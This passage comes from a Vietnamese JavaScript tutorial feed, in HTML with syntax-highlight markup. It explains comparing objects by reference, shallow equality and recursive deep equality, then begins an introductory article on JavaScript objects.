class="language-js"><span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point3 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Rõ ràng, <code>point2</code> và <code>point1</code> có cùng tọa độ nên trùng nhau. Trong khi đó, <code>point3</code> có tọa độ khác với <code>point1</code> và <code>point2</code>.</p> <p><strong>Làm sao để so sánh các point trên?</strong></p> <p>Đơn giản là mình sẽ truy cập giá trị của hai thuộc tính <code>x</code> và <code>y</code> trong từng object rồi so sánh chúng với nhau.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point3 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>point2<span class="token punctuation">.</span>x <span class="token operator">===</span> point1<span class="token punctuation">.</span>x <span class="token operator">&amp;&amp;</span> point2<span class="token punctuation">.</span>y <span class="token operator">===</span> point1<span class="token punctuation">.</span>y<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"point2 bằng point1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"point2 khác point1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>point3<span class="token punctuation">.</span>x <span class="token operator">===</span> point1<span class="token punctuation">.</span>x <span class="token operator">&amp;&amp;</span> point3<span class="token punctuation">.</span>y <span class="token operator">===</span> point1<span class="token punctuation">.</span>y<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"point3 bằng point1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"point3 khác point1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// point2 bằng point1</span> <span class="token comment">// point3 khác point1</span></code></pre></div> <p>Kết quả hoàn toàn như mong đợi rồi đúng không?</p> <p>Nhưng vấn đề là đoạn code kiểm tra điều kiện đang bị lặp lại. Do đó, khi bạn muốn thay đổi định nghĩa về <strong>hai point bằng nhau</strong> thì bạn phải sửa đoạn code trên ở mọi nơi sử dụng.</p> <blockquote> <p>Don't repeat yourself!</p> </blockquote> <p>Để giải quyết vấn đề trên, mình viết lại điều kiện trên thành hàm kiểm tra như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">function</span> <span class="token function">isPointEqual</span><span class="token punctuation">(</span><span class="token parameter">p1<span class="token punctuation">,</span> p2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> p1<span class="token punctuation">.</span>x <span class="token operator">===</span> p2<span class="token punctuation">.</span>x <span class="token operator">&amp;&amp;</span> p1<span class="token punctuation">.</span>y <span class="token operator">===</span> p2<span class="token punctuation">.</span>y<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> <span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point3 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isPointEqual</span><span class="token punctuation">(</span>point1<span class="token punctuation">,</span> point2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isPointEqual</span><span class="token punctuation">(</span>point1<span class="token punctuation">,</span> point3<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></span></code></pre></div> <p>Đến đây cũng khá ổn rồi... nhưng lại có một vấn đề khác: nếu object không chỉ có hai thuộc tính mà có <strong>rất nhiều thuộc tính</strong> thì sao?</p> <p>Thậm chí là số lượng thuộc tính không biết trước thì bạn không thể dùng cách trên được.</p> <h2 id="so-sánh-nông-shallow-equality" style="position:relative;"><a href="#so-s%C3%A1nh-n%C3%B4ng-shallow-equality" aria-label="so sánh nông shallow equality permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh nông (shallow equality)</h2> <p>Để giải quyết bài toán số lượng các thuộc tính trong object nhiều hoặc không biết trước, bạn có thể sử dụng <a href="/object-la-gi-object-trong-javascript/#c%C3%A1ch-duy%E1%BB%87t-t%E1%BA%A5t-c%E1%BA%A3-c%C3%A1c-thu%E1%BB%99c-t%C3%ADnh-c%E1%BB%A7a-object">vòng lặp <code>for...in</code></a> để duyệt hết các thuộc tính của object.</p> <p>Mình đã viết một <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> để so sánh từng thuộc tính và giá trị của object như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">isShallowEqual</span><span class="token punctuation">(</span><span class="token parameter">obj1<span class="token punctuation">,</span> obj2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> prop <span class="token keyword">in</span> obj1<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>obj1<span class="token punctuation">[</span>prop<span class="token punctuation">]</span> <span class="token operator">!==</span> obj2<span class="token punctuation">[</span>prop<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> prop <span class="token keyword">in</span> obj2<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>obj2<span class="token punctuation">[</span>prop<span class="token punctuation">]</span> <span class="token operator">!==</span> obj1<span class="token punctuation">[</span>prop<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point3 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isShallowEqual</span><span class="token punctuation">(</span>point1<span class="token punctuation">,</span> point2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isShallowEqual</span><span class="token punctuation">(</span>point1<span class="token punctuation">,</span> point3<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Ý tưởng của thuật toán trên là: <strong>duyệt tất cả các thuộc tính</strong> của một object và so sánh giá trị tương ứng trong hai object. Nếu hai giá trị khác nhau thì kết luận là hai object không bằng nhau.</p> <p>Nếu hai trường hợp <code>return false</code> không xảy ra thì nghĩa là hai point bằng nhau, nên cuối cùng <code>return true</code>.</p> <p><strong>Thuật toán so sánh nông trông có vẻ tốt, nhưng liệu có vấn đề gì với nó không?</strong></p> <p>Câu trả lời là: <strong>CÓ</strong>.</p> <p>Hãy xem ví dụ sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">isShallowEqual</span><span class="token punctuation">(</span><span class="token parameter">obj1<span class="token punctuation">,</span> obj2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> prop <span class="token keyword">in</span> obj1<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>obj1<span class="token punctuation">[</span>prop<span class="token punctuation">]</span> <span class="token operator">!==</span> obj2<span class="token punctuation">[</span>prop<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> prop <span class="token keyword">in</span> obj2<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>obj2<span class="token punctuation">[</span>prop<span class="token punctuation">]</span> <span class="token operator">!==</span> obj1<span class="token punctuation">[</span>prop<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">metadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"point"</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> point2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">metadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"point"</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isShallowEqual</span><span class="token punctuation">(</span>point1<span class="token punctuation">,</span> point2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Bây giờ, kết quả so sánh <code>point1</code> và <code>point2</code> lại trả về <code>false</code>. Nguyên nhân là thuộc tính <code>metadata</code> có giá trị kiểu <strong>object</strong>. Nên khi so sánh hai <code>metadata</code> cho nhau, chúng sẽ khác nhau.</p> <p>Kết quả là hai object trên lại "không bằng nhau".</p> <blockquote> <p><strong>Kết luận</strong>: thuật toán <strong>so sánh nông</strong> chỉ đúng khi giá trị các thuộc tính trong object có kiểu dữ liệu nguyên thủy.</p> </blockquote> <h2 id="so-sánh-sâu-deep-equality" style="position:relative;"><a href="#so-s%C3%A1nh-s%C3%A2u-deep-equality" aria-label="so sánh sâu deep equality permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh sâu (deep equality)</h2> <p>So sánh sâu khá tương đồng với so sánh nông. Nhưng thay vì duyệt một cấp, so sánh sâu duyệt tất cả các cấp của object (trường hợp object lồng nhau).</p> <p>Để triển khai thuật toán này, bạn cần phải biết về <a href="https://vi.wikipedia.org/wiki/%C4%90%E1%BB%87_quy">thuật toán đệ quy</a>. Do đó, mình sẽ không giải thích chi tiết trong bài viết này.</p> <p>Sau đây là thuật toán so sánh sâu cho bạn tham khảo:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Hàm kiểm tra một giá trị là object</span> <span class="token keyword">function</span> <span class="token function">isObject</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> obj <span class="token operator">!=</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">typeof</span> obj <span class="token operator">===</span> <span class="token string">"object"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Hàm so sánh sâu</span> <span class="token keyword">function</span> <span class="token function">isDeepEqual</span><span class="token punctuation">(</span><span class="token parameter">obj1<span class="token punctuation">,</span> obj2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> keys1 <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// trả về mảng các thuộc tính của obj1</span> <span class="token keyword">const</span> keys2 <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>obj2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// trả về mảng các thuộc tính của obj2</span> <span class="token comment">// nếu số lượng keys khác nhau thì chắc chắn khác nhau</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>keys1<span class="token punctuation">.</span>length <span class="token operator">!==</span> keys2<span class="token punctuation">.</span>length<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> key <span class="token keyword">of</span> keys1<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> val1 <span class="token operator">=</span> obj1<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> val2 <span class="token operator">=</span> obj2<span class="token punctuation">[</span>key<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// kiểm tra xem hai giá trị có cùng là object hay không</span> <span class="token keyword">const</span> areObjects <span class="token operator">=</span> <span class="token function">isObject</span><span class="token punctuation">(</span>val1<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token function">isObject</span><span class="token punctuation">(</span>val2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// nếu cùng là object thì phải gọi đệ quy để so sánh 2 object</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>areObjects <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span><span class="token function">isDeepEqual</span><span class="token punctuation">(</span>val1<span class="token punctuation">,</span> val2<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// nếu không cùng là object thì so sánh giá trị</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>areObjects <span class="token operator">&amp;&amp;</span> val1 <span class="token operator">!==</span> val2<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> point1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">metadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"point"</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> point2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">metadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"point"</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isDeepEqual</span><span class="token punctuation">(</span>point1<span class="token punctuation">,</span> point2<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Trên đây là thuật toán để so sánh sâu. Bạn có thể tham khảo để rèn luyện tư duy logic.</p> <p>Còn trong dự án thực tế, bạn có thể sử dụng hàm thư viện <a href="https://docs-lodash.com/v4/is-equal/"><code>_.isEqual</code></a> để giải quyết bài toán nhanh hơn, tránh mất công sinh ra lỗi sau này.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Object lưu trữ dữ liệu theo kiểu tham chiếu. Vì vậy, việc so sánh 2 object trong JavaScript là dựa trên địa chỉ của object.</p> <p>Một số cách so sánh 2 object trong JavaScript là:</p> <ul> <li>So sánh object bằng tham chiếu: sử dụng toán tử <code>==</code>, <code>===</code> hoặc hàm <code>Object.is</code>.</li> <li>So sánh object qua giá trị cách thủ công: so sánh giá trị từng thuộc tính giữa hai object.</li> <li>So sánh nông (shallow equality): duyệt tất cả các thuộc tính trong mỗi object để so sánh giá trị tương ứng theo một cấp độ.</li> <li>So sánh sâu (deep equality): duyệt tất cả các thuộc tính trong mỗi object theo tất cả các cấp độ (sử dụng thuật toán đệ quy) để so sánh giá trị ứng với các thuộc tính.</li> </ul>[email protected]<![CDATA[Object là gì? Object trong JavaScript]]><![CDATA[Như mình đã nói trong bài các kiểu dữ liệu trong JavaScript, JavaScript có 7 kiểu dữ liệu nguyên thủy và 1 kiểu dữ liệu dạng tham chiếu. Đó là object trong JavaScript. Để hiểu…]]>https://completejavascript.com/object-la-gi-object-trong-javascript/https://completejavascript.com/object-la-gi-object-trong-javascript/<![CDATA[Kiểu dữ liệu]]><![CDATA[Object]]>Sun, 14 May 2017 05:00:00 GMT<p>Như mình đã nói trong bài <a href="/kieu-du-lieu-trong-javascript">các kiểu dữ liệu trong JavaScript</a>, JavaScript có <strong>7 kiểu dữ liệu nguyên thủy</strong> và <strong>1 kiểu dữ liệu dạng tham chiếu</strong>. Đó là object trong JavaScript.</p> <p>Để hiểu object (đối tượng) là gì, mình sẽ đưa ra một ví dụ về máy tính. Cụ thể, máy tính của mình có những đặc điểm sau:</p> <ul> <li>Loại: laptop</li> <li>Hãng: Sony</li> <li>Hệ điều hành: Windows 7</li> <li>Card đồ hoạ: NVIDIA</li> <li>...</li> </ul> <p>Ở đây, <em>máy tính của mình</em>: chính là một <strong>JavaScript object</strong>. Đối tượng này có các <strong>thuộc tính</strong> (properties): <em>loại, hãng, hệ điều hành, card đồ hoạ</em> với các giá trị tương ứng là <em>laptop, Sony, Windows 7, NVIDIA</em>.</p> <h2 id="vậy-object-trong-javascript-là-gì" style="position:relative;"><a href="#v%E1%BA%ADy-object-trong-javascript-l%C3%A0-g%C3%AC" aria-label="vậy object trong javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vậy object trong JavaScript là gì?</h2> <blockquote> <p><strong>Object trong JavaScript</strong> là một khái niệm trừu tượng dùng để biểu diễn một vật thể (cụ thể). Trong đó, các thuộc tính dùng để miêu tả đặc điểm, tính chất của đối tượng.</p> </blockquote> <p>Về bản chất, object là tập hợp của các <strong>key</strong> và <strong>value</strong>. Với <strong>key</strong> gọi là thuộc tính, còn <strong>value</strong> là giá trị tương ứng của thuộc tính.</p> <p><strong>Chú ý:</strong></p> <ul> <li>Object có thể không chứa thuộc tính nào, được gọi là <strong>object rỗng</strong>.</li> <li>Object phải là một danh từ <strong>riêng</strong>, không phải danh từ <strong>chung</strong>. Trong ví dụ trên, nếu chỉ nói <strong>máy tính</strong> thì đó không phải đối tượng, mà phải là <strong>máy tính của mình</strong>.</li> </ul> <h2 id="biểu-diễn-object-trong-javascript" style="position:relative;"><a href="#bi%E1%BB%83u-di%E1%BB%85n-object-trong-javascript" aria-label="biểu diễn object trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Biểu diễn object trong JavaScript</h2> <p>JavaScript object sử dụng cặp dấu ngoặc <code>{}</code> để biểu diễn:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">{</span> <span class="token literal-property property">key1</span><span class="token operator">:</span> value1<span class="token punctuation">,</span> <span class="token literal-property property">key2</span><span class="token operator">:</span> value2<span class="token punctuation">,</span> <span class="token literal-property property">key3</span><span class="token operator">:</span> value3<span class="token punctuation">,</span> <span class="token operator">...</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó:</p> <ul> <li><em>key1, key2, key3,...</em>: là tên thuộc tính, có kiểu dữ liệu là <strong>string</strong> hoặc <a href="/tim-hieu-ve-symbol-trong-javascript"><strong>symbol</strong></a>.</li> <li><em>value1, value2, value3,...</em>: là giá trị tương ứng của các thuộc tính. Value có thể thuộc bất kỳ kiểu dữ liệu nào (kể cả <strong>object</strong>).</li> <li>Các cặp <strong>key-value</strong> ngăn cách nhau bởi dấu phẩy <code>,</code>.</li> </ul> <p>Áp dụng cho ví dụ trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"laptop"</span><span class="token punctuation">,</span> <span class="token literal-property property">brand</span><span class="token operator">:</span> <span class="token string">"Sony"</span><span class="token punctuation">,</span> <span class="token literal-property property">os</span><span class="token operator">:</span> <span class="token string">"Windows 7"</span><span class="token punctuation">,</span> <span class="token literal-property property">graphicCard</span><span class="token operator">:</span> <span class="token string">"NVIDIA"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <blockquote> <p>💡 <strong>Chú ý</strong>: Cặp <strong>key-value</strong> cuối cùng không nhất thiết phải có dấu phẩy <code>,</code>. Nhưng để đảm bảo tính đồng nhất thì bạn nên thêm vào dấu phẩy <code>graphicCard: "NVIDIA",</code>.</p> <p>Đặc điểm này được gọi là <a href="https://int3ractive.com/blog/2019/why-trailing-comma-in-js-is-a-good-idea/">trailing comma</a> hay "dấu phẩy đuôi".</p> </blockquote> <p>Ngoài ra, để khai báo <strong>object rỗng</strong> bạn có thể sử dụng một trong hai cách sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Objec rỗng không có thuộc tính nào</span> <span class="token keyword">let</span> myComputer <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token 